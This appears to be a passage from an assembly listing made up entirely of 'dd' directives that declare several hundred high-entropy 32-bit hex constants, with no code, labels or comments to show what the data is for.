dd 0DBDD7E76h, 1161132Fh, 752DA51Bh, 0A46DEF04h, 395D47FCh
dd 4EAEBD5Ah, 0A10A9ADFh, 0B4D92CE6h, 2A6D9DB2h, 43008341h
dd 0C024D61Eh, 1B8D0337h, 0B6E144BAh, 211F7EADh, 0D80710D8h
dd 10BC9930h, 91C8697Dh, 9753688Dh, 0AE57417Fh, 0F731B5A6h
dd 0F1A548EEh, 0DD0E38BFh, 19339766h, 0BA5F004Eh, 0DED00089h
dd 886C5778h, 20794C04h, 67DEC40Ch, 0DAF526EAh, 0ACFBE424h
dd 31BBC98h, 6C098646h, 6D9D761h, 38969E65h, 3DAA7552h
dd 9C8F4077h, 2839914Bh, 1CCBE236h, 76C59198h, 0C5763094h
dd 0BEF083DEh, 9527AB91h, 0B9D53A0h, 0CBD056FEh, 6B4721C4h
dd 553160F8h, 3E25DDABh, 0E704BFDCh, 38BEEE05h, 0C2F56237h
dd 655B6938h, 0C7FCDCE7h, 0BCD9A589h, 0E6442239h, 74D27A52h
dd 5206BC11h, 89837476h, 718D0442h, 0AEB633A1h, 0C98275Ch
dd 6864B266h, 835C7535h, 0F2778C8Bh, 997CC43Ch, 70206979h
dd 5E3518F4h, 5ECA4BC8h, 3A6A8F7Ah, 0CCB38868h, 299D2E95h
dd 6159AA78h, 0FD57A794h, 68E8F1A8h, 7F74CD91h, 0EF559EC6h
dd 76D9E0FBh, 0DFC6BE7Bh, 2B4AFAC1h, 8934788h, 4E578194h
dd 0B86011A7h, 1BE65D18h, 0EA87A8A1h, 655F6128h, 6C3B6575h
dd 84A3877Fh, 93A78B20h, 62C1FB34h, 0EFE603FBh, 3A031B34h
dd 0EF8B335Ah, 0ACAEB0E7h, 540107DEh, 0A3426946h, 5748C135h
dd 0E307654Eh, 96362B13h, 0F08B8C26h, 0E4E33B00h, 200EEBB8h
dd 0C6A96D27h, 39D962C1h, 32418C29h, 0C32F7CC3h, 0D6F534Ch
dd 0D2B2309Eh, 85FFC6A9h, 0A6D33FB3h, 0E04FD88h, 4FE937F8h
dd 43013D2Fh, 14962164h, 109B8594h, 7CCAB97Eh, 0BACD44BCh
dd 0FB69F0EAh, 1E8D8BF0h, 0D2B85734h, 0ED6BC4C9h, 0D796A558h
dd 1753B943h, 4E28B7F8h, 2AC775A7h, 0CDFAE877h, 883F387Ah
dd 618838B6h, 0B9925DB5h, 28670F08h, 47C1FED6h, 0C87B03D8h
dd 836F3D64h, 0CF514B1Dh, 96C4BFA5h, 0D5B29AA3h, 4A1745D8h
dd 81341285h, 0D77ADE65h, 26E0A05Ah, 43C659E3h, 0C9823A1h
dd 0AD688B7Fh, 73721002h, 110C4C0h, 0A68CFD86h, 212C4A1Ch
dd 0E3F52E14h, 93370ED9h, 1CB7D189h, 0E796D51h, 597E5204h
dd 8EFF4640h, 582566AAh, 0C8770C95h, 0BE2AE2E4h, 0D00D102Eh
dd 7049A2B3h, 0D661E235h, 5EE3D9FCh, 159FA568h, 0DFDE50FBh
dd 0EFD1A1B4h, 0D9F3EE32h, 5F82785Fh, 0C8D38111h, 0B4D45729h
dd 9E29D089h, 0DFCC5ECFh, 0A5E65336h, 6C994F96h, 4F8F5CCFh
dd 0FA7A8D66h, 6FAF7DC3h, 25A35DB8h, 0DD453391h, 0FAAC5BEAh
dd 565653A8h, 905AA978h, 62AF7B04h, 14C3ED8Bh, 39EA1D4Bh
dd 778B0528h, 0AF280067h, 809A3F36h, 200A0FCBh, 7AA81627h
dd 1EFE3910h, 8539CBB3h, 4C3258FFh, 0DC11E320h, 5B7F58AAh
dd 8BC51B03h, 9993CABAh, 0E818A045h, 4C867B99h, 21CFE1FBh
dd 0CB55A480h, 357E815h, 1CDEB648h, 6C134D8Ch, 200DCE21h
dd 4DB0FBD9h, 0AA23F130h, 0F0DEEBE6h, 43410B30h, 0DA8CF11h
dd 9AD90BCEh, 0F7F79C7Dh, 7B0CC1F7h, 78DD450Dh, 8DF870CFh
dd 9CC3CC20h, 0C5A9DE95h, 34C9230Ch, 0AF3B211Ch, 0E72AF578h
dd 6D6E61C4h, 84C1C443h, 3EE8FC65h, 0FF93956Eh, 2DD9AC4Bh
dd 0AD44F0Ah, 0BF564DB1h, 2ABA92E9h, 0DC6BA2BAh, 72E662D0h
dd 142205C1h, 3A6230E6h, 851D97Eh, 2791CF3Ah, 97EA2C63h
dd 0CA324DD5h, 5791D34Eh, 8931BA3Ch, 73A43725h, 9221DE68h
dd 112825C1h, 0BF9DD98Dh, 0B411CF11h, 0C6B56C4Dh, 247BF984h
dd 79DD94E0h, 4FCA8B18h, 8134ED1h, 79A61A30h, 0DD29331Ch
dd 0A84DBA20h, 14A8315Fh, 0A4CBDD5Dh, 3D1F68E2h, 63853806h
dd 2984991Dh, 2C2B9632h, 1CE5CB38h, 4CBC6EA1h, 1F91A98Ch
dd 0F21CFA1Dh, 6638AAB0h, 28386A47h, 60B297DDh, 7408694Bh
dd 0EE70A270h, 8659C95Ah, 0DEFEA0D9h, 813F446Ch, 2923F74Ch
dd 35805934h, 0F15F6F67h, 307FCBA9h, 0CF213E1Eh, 7CB6CB59h
dd 9F4EC122h, 0EAD2EA92h, 1B76039Ah, 6B9D84D5h, 0A5B08993h
dd 3DB56317h, 2AD17829h, 0E7969EDDh, 6D7A55A2h, 0D61059DAh
dd 0B04A6FF0h, 0BB786D73h, 0C298E33Bh, 3E8253C7h, 0A7B163DAh
dd 86DDB738h, 36FD8DCCh, 930F9DE8h, 4142B007h, 8F51FBA9h
dd 8C9A5747h, 87339E5h, 185B4B24h, 0E48A23B6h, 19F5DFB4h
dd 9F794ECh, 0AE5107CDh, 98841510h, 0C01160B1h, 1249B817h
dd 0D3A88756h, 9D2A21EBh, 5A3A7BC8h, 0C0AF0616h, 9230EF51h
dd 884C3B69h, 70001070h, 6A42CD4Eh, 46496831h, 39866A35h
dd 3B1193FEh, 84A32D8Bh, 7BA106C1h, 8E5828B1h, 229CED86h
dd 0B8912A6Ah, 0AFF9C7F0h, 12A993Ch, 3C8A2F51h, 0E97E9180h
dd 0FE7348Ch, 75B42C3Bh, 0DDD0FAA2h, 0DB0AB61Fh, 0BD73E7F2h
dd 2950B57Dh, 93C2F759h, 591D0A3Ah, 0F8B6E9D6h, 0D865DCF9h
dd 5B51B209h, 0EA188651h, 0AAACC56Bh, 9534D85Eh, 5AC63C8Ch
dd 4DD8EEA8h, 0A7BCA0B4h, 800EC3D1h, 0DE5233A2h, 9819727Ah
dd 6C3EEC78h, 7AF04718h, 43F80944h, 0D7BD76E7h, 0C1FA48D8h
dd 6298F081h, 5F03F2FDh, 53F72F4Ch, 252CA8C2h, 476D38B1h
dd 0A9FC871Bh, 7E4D5BA9h
dd 0D931D16Bh, 0BB2C9545h, 0E5E561D4h, 0F4A7D6D8h, 3D209DCBh
dd 40A712A7h, 0ACE1F44Dh, 30AC401Eh, 0F736F54Ah, 34522D82h
dd 0A773BF09h, 0D916ACF3h, 28F9D1C0h, 95135CFBh, 0CC961C2h
dd 8D1929F6h, 9F988B0Dh, 677752F3h, 276518CAh, 66DED897h
dd 28156676h, 0E4758014h, 93BBFD0Fh, 23F490D3h, 0EDDA629Bh
dd 0D8AFD6C1h, 2C26C601h, 1AF918E5h, 0B07C1DEEh, 32885BFh
dd 1C6A9C9Bh, 4EDECD27h, 12966EEDh, 4C090186h, 60D62DD0h
dd 999452AAh, 9A779163h, 0C65F5139h, 0FDA2D2D5h, 0CFC2B3DAh
dd 0AB1F4402h, 3F5583CCh, 0B778F42Ch, 0E6DB76DAh, 0DF78214h
dd 6217D3BFh, 18613E92h, 370B6BF0h, 1B526B86h, 0AAB55338h
dd 0B206934Ch, 0A544942Fh, 8E5A4BC2h, 2D63363Fh, 8DCC37B4h
dd 0EACD3A38h, 4FD13934h, 0E5A44B72h, 829663EEh, 8FEDC8AEh
dd 6F31E60h, 0AA337CCBh, 0F4EDE64Ch, 0A08C621Eh, 0C30CE87Eh
dd 97A4B8BFh, 88EA0340h, 9EE6A0DFh, 0CADDE6DAh, 2A2E5B53h
dd 0E7A67BE7h, 4D2097E1h, 2B6E7041h, 5E2CF1F3h, 87154970h
dd 6A5CC671h, 0A7584AE1h, 0A48BC197h, 85FCD4A5h, 36B8C10Fh
dd 989F0F7h, 42FA0A51h, 0C3CCC331h, 0FA9C06DEh, 95A12B41h
dd 0F9673A62h, 7641A7DBh, 0BAD5BC68h, 5C2B126Ah, 0F25B5292h
dd 69446966h, 3654DCA2h, 0D4A816C6h, 0E69D12DEh, 30941E92h
dd 3AC46FF6h, 890F6386h, 517933E9h, 8FE4F36Dh, 0E148CEBEh
dd 7484C03Bh, 68A7F354h, 0D435E47Dh, 0DC40AD8Fh, 9BEBC9AFh
dd 6F921C96h, 0EB5A1678h, 0A2759166h, 414E808Bh, 34861DD1h
dd 3D3CAE13h, 3C17297Dh, 600599ABh, 0A573BB9Dh, 0CBF2037Eh
dd 0A35660F3h, 0E1B2FFA7h, 4F4FE8A1h, 62BDAE08h, 7339E2E0h
dd 0CD7376FDh, 0BEF17E7Ah, 326EA3E9h, 91853AD6h, 5E823F83h
dd 418D332h, 86E0E875h, 7796F37Eh, 0C7199AACh, 7393DBD9h
dd 750BF35Fh, 0EE7B6BCFh, 9F4E7A14h, 0C83F70FAh, 29CEA7EFh
dd 38B3555Ch, 1BB157C6h, 0AE5B47CEh, 0E693B9E9h, 212E7182h
dd 222B0038h, 67F05832h, 78392290h, 3100D1D1h, 208EA212h
dd 0CF5474ECh, 0FD89521Dh, 955EA99Ah, 8EB4C98Ah, 480B8FCCh
dd 18C18126h, 4B581895h, 0DE2DAB8Eh, 0DB1D605h, 0E08BD114h
dd 960B2FAFh, 0AA1852AFh, 0B089EA9Dh, 34F6D957h, 258B6Ch
dd 0FABB2A0Ah, 0F1184CCFh, 521E875Dh, 8054C415h, 0CD5B6A8Bh
dd 0C7AEB31h, 84401C41h, 8248554Ah, 5C80139Ah, 2F2B1D77h
dd 0FECFCED8h, 8B5603B4h, 3A064B6Bh, 4B9A6F33h, 84E4E1D7h
dd 398A9878h, 9079F86Fh, 5ADC3676h, 0EEA786DEh, 16555BACh
dd 5FA5F493h, 0B10F6A3Ch, 303256DDh, 0C71D5DE6h, 0BEB2CE10h
dd 23BA588Dh, 90B8C552h, 0F5550938h, 0AABF0FD7h, 159349h
dd 0EB1841D1h, 0E72207B2h, 3FC1A3C7h, 0C6D8F4FEh, 7FDB2C16h
dd 8264D9F1h, 0CF533E44h, 4D74846Bh, 0E6D7A267h, 8B03B27Bh
dd 0CF5419BFh, 0A421E754h, 1EF4EFF3h, 9AFC0D66h, 38BD62F9h
dd 9786EB80h, 0A6EEDFF0h, 0B6998C3Ch, 442EC4F0h, 0BBC098ADh
dd 67CDBFD5h, 0E6E17142h, 0C0CE540h, 4027A150h, 9E3829C4h
dd 24FE774Eh, 7DA44984h, 88E1F22Fh, 0B36056BDh, 3818D50Ch
dd 0CEC99238h, 0BEA46AB9h, 6A46771Fh, 7F62F16Fh, 99047FFFh
dd 0FF2AC851h, 0D5CBB9E9h, 0BD33FCBFh, 8954D9DFh, 0FBB886ACh
dd 9518488Ah, 8A997328h, 970E094Eh, 0DD67F965h, 95245AB5h
dd 658414A2h, 6E7155BCh, 0A30B5294h, 622174ACh, 3FE0DF0Eh
dd 0BB52044Bh, 0DDB12804h, 5C143D70h, 0FE3534EAh, 0A0ADED93h
dd 55600409h, 0CA7E89F6h, 4A85F1CBh, 0FD526CCEh, 0BEB001ACh
dd 715D1CA9h, 0A84AEC6h, 55560826h, 0EB676006h, 85BD9232h
dd 33EA57CBh, 0A73B7A59h, 1ABE0C6Fh, 0EC1BF3F8h, 7ED52903h
dd 99DC88D8h, 6FA7F8D5h, 0C36C4F0Fh, 3913E867h, 1719263Dh
dd 0C23AD50Bh, 2B51825Bh, 0F2429AEDh, 1D67B123h, 9FCB05E6h
dd 0FF9CEFCBh, 420424F7h, 5E54C4C1h, 0B4479DA9h, 0DDA00363h
dd 1CF29D8Ah, 92F62419h, 0AE601DCBh, 79A95E98h, 0C99EB124h
dd 11BAFAD7h, 9D580D6Eh, 0BB98349h, 3A67E5CBh, 108E04C2h
dd 0B3D337D4h, 0A013FE56h, 682BFF91h, 0F56A4114h, 83A5F6F1h
dd 0C1715B5Bh, 20C74FCEh, 0A7DB8F74h, 31FE74B9h, 0D9442C10h
dd 56800C35h, 69780D17h, 8D68B930h, 96F37A99h, 6BA39976h
dd 25B9433Bh, 6DB56D28h, 0A6BB214Eh, 6D67B39Bh, 5AE956E5h
dd 0AE9C740Fh, 0F727FCB5h, 0D685FBFDh, 0B4374BB3h, 0DCC614D4h
dd 0A43537B9h, 0DF98FA61h, 0E5F40205h, 8567CDBCh, 119C3109h
dd 36C88726h, 1C8D2DE0h, 4CB7AE74h, 47C753A9h, 0AF725EC4h
dd 67DAC9FAh, 62A6C9F0h, 551B599Ah, 0CD96C18Dh, 0A5D62A2Ah
dd 121AA995h, 7ADF3764h, 7E460887h, 0A4501F0Ah, 6C35812Ch
dd 0C34FEF64h, 0FD967AA0h, 0A11C5341h, 232CF1D4h, 9ABD3F17h
dd 2778F659h, 0EC254AA8h, 0EB5AE3E1h, 546DB1D6h, 0F3050C5Fh
dd 93202C90h, 0EFCF9FE1h, 0EB3FC9A5h, 43D0DBE5h, 9E01E267h
dd 736D14FBh, 8BE1B905h, 0AA1B1BBBh, 5CD80AE0h, 0CFB1409h
dd 0E95FAE5Ch, 1BF5A610h, 76FFFAD1h, 0BDE725E8h, 0EC48F623h
dd 0A51D3B14h, 0D68413C3h, 0C3BC6FE5h, 0EEFF9C1Eh, 0BF5B7133h
dd 0BD057AC6h, 0C75B896h, 61F810FBh, 29F33775h, 0BD6F2779h
dd 0C1760FD1h, 8D3BFFFBh, 44DED3E4h, 0FA4B5107h, 4590EDC0h
dd 97BD964h, 48559D25h, 0E082C1F2h, 434856F1h, 76611EF7h
dd 33D0B33h, 14F8888Eh, 99036013h, 0ACFC302Ah, 8E4BE067h
dd 6A4B2B4Eh, 4D8B88E1h, 70FC8BB4h, 3A3829BBh, 0CCC4B91Ah
dd 3D998B9Fh, 8D3D01B4h, 33EA76A9h, 0A3FD38DBh, 0F63BB2C9h
dd 559D22F8h, 0FE7C0182h, 0A19ECE0Bh, 5F944F74h, 3BDCE8F1h
dd 0DF1B31DBh, 608BF48Ah, 1D451AADh, 0FCD7942Fh, 0F2E52A78h
dd 7BE89ADFh, 0F70119Ah, 4FEBF48Ah, 291F0EAFh, 0B6F52018h
dd 0DF56F075h, 0A0E1304Eh, 0B900913Bh, 4FCA7518h, 8058512Eh
dd 0FE85DC1Bh, 87D92E4Fh, 8A8BCB73h, 0AB48FA98h, 5E855804h
dd 3AB5B11Ah, 0B628E0A4h, 820242CCh, 7DCF97DFh, 6B181385h
dd 472DD561h, 421B3C29h, 6C9132D7h, 321C1DFCh, 6A4C2817h
dd 2A326DD1h, 0E7BDEF0Ah, 0A3DB783h, 0E515D206h, 22D7F86Bh
dd 0DF2AF6F0h, 5548876Ah, 8285C4CCh, 0DB3D2969h, 0A4308060h
dd 5CFBA61Bh, 67C42BF8h, 0F98FC27h, 6E8EB858h, 60D8EDABh
dd 27EB78A6h, 818B1027h, 0E9CCA464h, 0B9D09FBEh, 0CDE3DABAh
dd 0E0024132h, 3A445F65h, 0F8C27C24h, 0DE811BC0h, 6096AB83h
dd 7D6C9ED5h, 0D05419A3h, 5816BAh, 0D2C68D89h, 515CC3F3h
dd 2104F58Bh, 0AE10A767h, 2487CCEAh, 0CD9BC425h, 0AF403620h
dd 61774793h, 7DFCB7E7h, 2AA6959Ah, 5A399EEh, 62087568h
dd 0F9A886DEh, 3E196CAEh, 84849184h, 0E367A59Ch, 41FDA71Bh
dd 0C841A105h, 7D91DE75h, 1FF31678h, 0B77EF3D8h, 6B277843h
dd 0CF4ADFADh, 3B328ABBh, 7A611939h, 7E43DE77h, 0EDE939A5h
dd 7179AC13h, 173424B6h, 52D48D57h, 181788E2h, 311DF928h
dd 0DD2555F4h, 6411D36Dh, 699C824Bh, 5E7DEBE7h, 504AC2FDh
dd 0CC087BE3h, 9C9C2CE9h, 78CD31F7h, 584DCDC8h, 5CFBE6B5h
dd 0AACB47B9h, 0FC891636h, 8206919h, 43FA8B54h, 0DD25B108h
dd 0F18636BEh, 0FE2E92E2h, 84A514CBh, 5A478219h, 77B1CCD4h
dd 0EA4C29A3h, 0DC34D363h, 0F577638Ch, 8273294Dh, 0DEC4446Fh
dd 14E52843h, 973D5E31h
dd 0B9837564h, 202DAF84h, 0C70FCF32h, 0C3AE0F46h, 0E6E14FBh
dd 38520012h, 0AB21B3E3h, 691F3D84h, 6B9615D5h, 25CDE1Dh
dd 0CD78BA4h, 0A9F4F8B2h, 43066C7Bh, 9D96EC3Dh, 0AF3C1C2Eh
dd 95A14A70h, 89FAE405h, 64E70671h, 2DC8DF42h, 87A32CE6h
dd 0CD065CE6h, 0C4BD81C1h, 2871088Ah, 0D2715A9h, 0EFC151BDh
dd 9BB3F373h, 7693AE1Ch, 0BB383B29h, 87342B2Fh, 92C5C413h
dd 94EACDB3h, 19ABF289h, 3A80A826h, 9A6880CAh, 0DBD3FAF0h
dd 0C85AF395h, 0AF8DEA2Eh, 34295D3Dh, 4FDD714Bh, 88C22966h
dd 0B2D9A854h, 9457AF55h, 35056DAAh, 0BBF4D5ACh, 3632FBC4h
dd 71A7B9E5h, 7B1E11D7h, 0C2FD0569h, 0EF10D6EEh, 984946ACh
dd 2D46CD6Ah, 3F62F542h, 76755201h, 7D0399B3h, 15E0AF52h
dd 73EDB6A1h, 4CCCF52Dh, 419A2FF1h, 0B7B55D88h, 0BE53A02Ch
dd 0F67F011Dh, 0C0D1A886h, 664323Ah, 35AA42EEh, 95CE0F0Dh
dd 62D058B1h, 0EA0CB103h, 9D555419h, 0BA82825Dh, 8154B02h
dd 17777373h, 1079628Dh, 37A74B0Fh, 35DC86AFh, 1187396Dh
dd 95E5AD7Fh, 0FEF88773h, 0FC182797h, 26346181h, 1F32F52Bh
dd 0FE246657h, 9F88FFA5h, 8B47B72Ah, 730CA243h, 0DD687BA7h
dd 598C9081h, 78EDD972h, 0D73DA7C1h, 91BC7E97h, 0BB4B388Ah
dd 0FCB61CA4h, 0CE914998h, 0EB8B49BBh, 674D6B16h, 3C8C73F5h
dd 0B49DE983h, 0CBAC73D8h, 0EEDAB861h, 802F98DEh, 3C0FDCEh
dd 86FF9686h, 0A3C597D9h, 0DE45CF4h, 6F7F87D9h, 0B9EA52ADh
dd 9B5A24DEh, 30C8995h, 203EC1B2h, 0DCED7216h, 63348138h
dd 6F189376h, 0AEBA4F42h, 0C7147ACAh, 6EC41C85h, 0A39E6FECh
dd 0AB769B1Bh, 0C30C8603h, 0B50BDE63h, 3D340F67h, 644E4DEBh
dd 9FB08669h, 0F833D5EAh, 41062B0Eh, 284110h, 1107CEE3h
dd 572A53F1h, 83F3E438h, 1AB90EDBh, 22E7645Fh, 0FCD384C2h
dd 0FE12A613h, 0F8570DCFh, 727ACB05h, 0ECB4FF20h, 6DCF743Fh
dd 8CC152F5h, 2800688Dh, 0CECF8EBAh, 0B5CB4F82h, 0A95B5A06h
dd 0C086D0DEh, 8113B894h, 5BAD203Ch, 0EE942153h, 288B894Ch
dd 0B97E0434h, 0FC1FFA4Fh, 5C60EE92h, 0B39625A2h, 8461CB5Eh
dd 0F1FC9465h, 82695C9Ah, 381BB88Ch, 54A5F54Ch, 5E88267h
dd 9D82B6BDh, 0E4A44DDAh, 0A5EBF0B6h, 5C0AA6D9h, 74922FCAh
dd 8965FB90h, 15A6FF9Bh, 0A47A9BF6h, 0C51922Ch, 263FE24Eh
dd 61DE9C55h, 0D834FEFCh, 0E0B02420h, 0B586118Dh, 0E83A28B2h
dd 0FC9E5EE7h, 34F3B744h, 0BCAACEBCh, 362C4755h, 60D6B8ECh
dd 0F01DE9A5h, 21F1A413h, 636265FCh, 78F46A95h, 1188E044h
dd 0B20AA326h, 624FD2B3h, 4C5A2C8Eh, 6341165Ch, 0EA4D1514h
dd 8AE15EAAh, 0A32F2E3Ah, 63778233h, 0E56C9A4Ah, 0B674E79Ch
dd 0C79CEAA2h, 0D269F739h, 7791E9FFh, 2474542h, 11D2D6CAh
dd 0AEC32C24h, 0E1ACB78Bh, 6D4BFCF0h, 9249FF65h, 47ED99C1h
dd 0BAE3588Ah, 6887F272h, 0C8B09941h, 0A86121A8h, 0ECE1A0B8h
dd 0F82B5D39h, 5623F2C7h, 0D4C8834Dh, 538815FBh, 4C3F2311h
dd 482007B6h, 0CDD2A2A8h, 0B6B3F9BEh, 48802F50h, 9A9D2A67h
dd 0BD134241h, 1CC85153h, 4D7FFE2Ah, 4614066Dh, 900B1143h
dd 0D9E51325h, 0EBF96399h, 96D676E5h, 3F3EECF4h, 4F952560h
dd 5C86BB3h, 0FF2275DDh, 0A0D2877Dh, 3C7AE549h, 97F2C97Dh
dd 0B665C03Bh, 22923085h, 0EF620D93h, 3A71C12Ch, 0DC830CEFh
dd 7100A9AEh, 4E51229Ch, 2F26E9F1h, 0BFA93FB4h, 65E81CF3h
dd 963E8792h, 0EBB13C65h, 7E1B69D0h, 386F0958h, 1F8DC1Bh
dd 0E23A7E2Dh, 0CDC631CCh, 0F967B92Ch, 0FCDD0877h, 30FA692Fh
dd 0DEC03298h, 88B55F8Dh, 77616C4Ch, 89763944h, 66B8A05Fh
dd 21E60E86h, 5D46C5Dh, 0BB6F3DDCh, 84588B68h, 0BDAA5CB2h
dd 887CE7F7h, 41B18B01h, 0F40A362Dh, 0B39BC1B2h, 0A6AD9949h
dd 9AEB872Ah, 0E2B0CAD8h, 43D8EA05h, 434BBC3Fh, 755F2D8Eh
dd 0C4A9401Fh, 0A840D2D3h, 6225124h, 7399A07Ah, 8C49DFE6h
dd 790DD5A9h, 259528BDh, 796DCBE0h, 0B49D6DF5h, 26AAD525h
dd 76E20247h, 2464752h, 51F55706h, 0D6859FD7h, 4B1E0689h
dd 2275F346h, 830224E3h, 84F87586h, 0A0DCF47Ah, 0C98911F2h
dd 9A2210Bh, 0FB98205Fh, 68D8BC28h, 58E6500Fh, 294EF154h
dd 9A0E29BFh, 0A4CF0217h, 0F7634AD8h, 509F83EAh, 9418532Ah
dd 1CA3BEC4h, 0FB9416ABh, 25885911h, 0BE6519DBh, 0F63BAEB9h
dd 0E44E84E6h, 4BD1DF8Dh, 0FC034DD0h, 8F133F4Ch, 95589892h
dd 8F9E739h, 4CD6464Ch, 41AD06F0h, 0EC989702h, 0FEA8D4C5h
dd 0B6CDB94Bh, 0FB49EB10h, 64B7F764h, 9E261EA4h, 29A56EFDh
dd 0A0116C91h, 2CBD1581h, 9665E08Ah, 87BA1EB4h, 4C87359Ch
dd 9449088h, 0D285FC62h, 94FBC2A0h, 0C8999B34h, 0FDFA43A4h
dd 0C09249EEh, 97C231E7h, 7C67E460h, 95F2B161h, 63A76F9Ch
dd 307E903Fh, 96E9CD2h, 52CC7BF0h, 4CF6EE0Bh, 97035F1Fh
dd 0FAFD93A9h, 1E5DFE99h, 9971A874h, 73A170FBh, 0B78B3C4Bh
dd 9F249599h, 0F7606395h, 4948E7EDh, 0BFE69Fh, 0E852701Ah
dd 6EA6BEFh, 3D3E6153h, 0AFEAC36Dh, 3CC8CACh, 2F253550h
dd 0BBB7023Dh, 68B28077h, 0D036640Eh, 7717F053h, 96AF66B4h
dd 2F1D2h, 0FF526046h, 0E8BC072Bh, 7145B5F9h, 7C15FF05h
dd 1E4E6A93h, 39648C58h, 0BDAA5273h, 0B52282BEh, 0DABAD20Ah
dd 3C190BE2h, 0A97E1838h, 28A406A9h, 0E7E86AC6h, 7798E72h
dd 98AFE16Fh, 93580E2Eh, 0EB733975h, 0CE0CF309h, 2452F87Eh
dd 47ADCC54h, 367739CEh, 75D8A2A1h, 2A10C6FCh, 0F4F1948h
dd 6E919A07h, 0A5B79DC7h, 4BC952C3h, 5A906D8Dh, 55D106BBh
dd 6981766Fh, 3D3A3E62h, 370D9B7Dh, 0FC779F08h, 2798803Bh
dd 9A02CC40h, 0D2C2573h, 86D905F2h, 2662BE3Bh, 6836131Dh
dd 8A1B117Fh, 0D0199B44h, 3310260Fh, 418469F8h, 1F4DE2ABh
dd 2BB7F129h, 74087DE7h, 6477C466h, 138FE64h, 2BB01F71h
dd 647015EBh, 63D090A5h, 6F9C8743h, 0DC88EA94h, 2722D5E9h
dd 0BDEE8AAFh, 63167DA9h, 5F930751h, 64C6B1FFh, 44E3E434h
dd 5C136B80h, 2609878h, 8CE60EA5h, 0EAA52C60h, 1729BF6Dh
dd 8E21327h, 0D11AA7DCh, 84E4D058h, 6B847926h, 0E5712998h
dd 99294C06h, 0C971354Bh, 10DE2250h, 0B5B08750h, 0C27FCEB3h
dd 0B3B39C07h, 62BB1A90h, 0D7D93E38h, 52F7E207h, 910486E2h
dd 9EF5CC53h, 939F735Eh, 2CDC8F90h, 72D8661Bh, 0C03CEA2Bh
dd 3144F8E7h, 0A10DC92Dh, 0C2B45C8Ch, 5E510156h, 42DB42FCh
dd 0B402F086h, 0D7C60442h, 1AEC49Fh, 6442D1D0h, 4A6490FCh
dd 0FE9DCD83h, 50729FA9h, 23FACC6Ah, 0F4BABB56h, 45C77907h
dd 0A5254625h, 0AE5F933Ch, 100DCE2Ch, 77AD5441h, 374C3A2Fh
dd 5DE4E241h, 31316065h, 0E5B4F470h, 2661D475h, 2BCB314h
dd 0A8A8ADh, 7629CDB6h, 3751D55Ch, 85D5497Ch, 0C13C6BA0h
dd 9E0176CFh, 0A611B537h, 5711EAA9h, 0AAB96E18h, 0E1FF1971h
dd 72A7BA4Ch, 72A7E79Fh, 0DE156D92h, 0E3F98879h, 6FB63E5Ah
dd 8C0C1ACFh, 21442C83h, 0A7C7C98Bh, 0E6F36FF9h, 52A38DE1h
dd 9DCB123Ch, 411DD143h, 78675A00h, 21F92274h, 0A4EAD603h
dd 2979EBC1h, 5119422Eh, 3A1FD7FDh, 0C7968422h, 63DCEFADh
dd 5C8850A2h, 0A2D215DBh, 8D3AF44Eh, 9E6B9DC0h, 821B1615h
dd 0A422F3F6h, 0D9A28CD5h, 480B3C99h, 1DB21D6Ah, 7443FCDCh
dd 98266912h, 0B5E76F3Eh
dd 0CB9E43BDh, 9D6A81A3h, 0C80DAD18h, 3BD6D79Ch, 5A7D3B96h
dd 1C225983h, 0BBA2AC7Eh, 10EE6A39h, 221F7652h, 0C5D4C1F3h
dd 378A8952h, 8003C470h, 26376B1Fh, 0C33A86C2h, 0A8C860A9h
dd 42734CE2h, 4B489414h, 0CA040B06h, 4F294036h, 5A6D81EEh
dd 40AF11Bh, 0C72E1D62h, 0D8A1CD03h, 574E480Eh, 92E283B2h
dd 69A28AB5h, 0F800D80Eh, 0DB20F953h, 0F963213Dh, 9A1A8106h
dd 5ACC8837h, 5F03C143h, 8203B233h, 678A8C79h, 0EFCB6119h
dd 50F42908h, 0DA7C4085h, 5E9ABFB4h, 573F287Fh, 0FCB11481h
dd 0BA7884E5h, 58C8A1CBh, 66669D2Dh, 0A421D7A5h, 2BE5E482h
dd 0B45B21E0h, 2832B71h, 0C12645E9h, 18EFF3E2h, 14191ABEh
dd 35892AA9h, 36C559AAh, 319998C4h, 71F69369h, 0E4011277h
dd 1215CB68h, 3391E1B9h, 1B2EAA4Eh, 23CAB2A0h, 0E5A28DA2h
dd 0FDAB7ECEh, 0FB2472B5h, 0F793B7B0h, 0F17359CFh, 1A8394CDh
dd 38223CBFh, 0D87393BDh, 0ECB48C0Dh, 0E5434878h, 695E3A48h
dd 36A06B3Ch, 0A2D6BE6Fh, 1888BCC2h, 0D9ECF2E9h, 45325B7Bh
dd 0E7CDE812h, 0A3183F93h, 0FBF6986h, 7F93643Dh, 0F9ADCC85h
dd 48E9B7DCh, 4C05E9F4h, 1BADE9Ch, 8197CE3Fh, 0AFAB963Bh
dd 56F61266h, 0F3F815B3h, 0CF077020h, 0F48D2318h, 5D6B31D4h
dd 0D78A95A2h, 47F64A26h, 0A84EA2Dh, 0A101A8D9h, 37D8750Ah
dd 4603D0A6h, 517FB835h, 7A1FAA4Ch, 0D7E016F0h, 0A8FDE361h
dd 45590020h, 5EBE728h, 628D1EEFh, 0D48E6B11h, 0E635C2B0h
dd 7ECCC8A5h, 2F4AA4C2h, 5739E0CCh, 48F45E04h, 70F6B448h
dd 12BC6545h, 287B5CC6h, 9B47B081h, 0D245D2B4h, 7F5E5367h
dd 35FA196h, 0D7E1AD28h, 9EC3E30Ch, 42F9E71Eh, 2D7A1C6Fh
dd 97A36923h, 6B351A11h, 1134B4FDh, 222A7CD6h, 35B6C0E1h
dd 1449798Eh, 6DC5D6FBh, 6D06CD54h, 0D742974Bh, 53A6A3F7h
dd 4792D74Dh, 0AF0569C0h, 0A3AF7F7Bh, 0E4D60833h, 81A3DAAEh
dd 3E587BD1h, 9734D0C0h, 0F0DF8AC2h, 25D3CAE8h, 0F4EF6AC3h
dd 0C24A83CFh, 7E300CFEh, 3E8AC0D9h, 2689C773h, 0B8093DF7h
dd 0E2CFA608h, 0E3B17E8Fh, 0F73FBB2h, 0D7717843h, 21850B46h
dd 0B3A9735h, 9E319FDBh, 0C3DE9EE7h, 0BD6D573Eh, 4EB9F53h
dd 7CD4B884h, 995ECCAAh, 0A68E0578h, 8F499D47h, 0D053DF6Bh
dd 574E03D6h, 0E07A19A1h, 0F24A8619h, 0D0E25AA0h, 41934FFCh
dd 6134E207h, 946F8294h, 94D14F44h, 72F35C9Eh, 0DF5C39BEh
dd 1CFD2F05h, 152FC1FAh, 6361B77Eh, 0D759BBCCh, 0FAF3AA7Ah
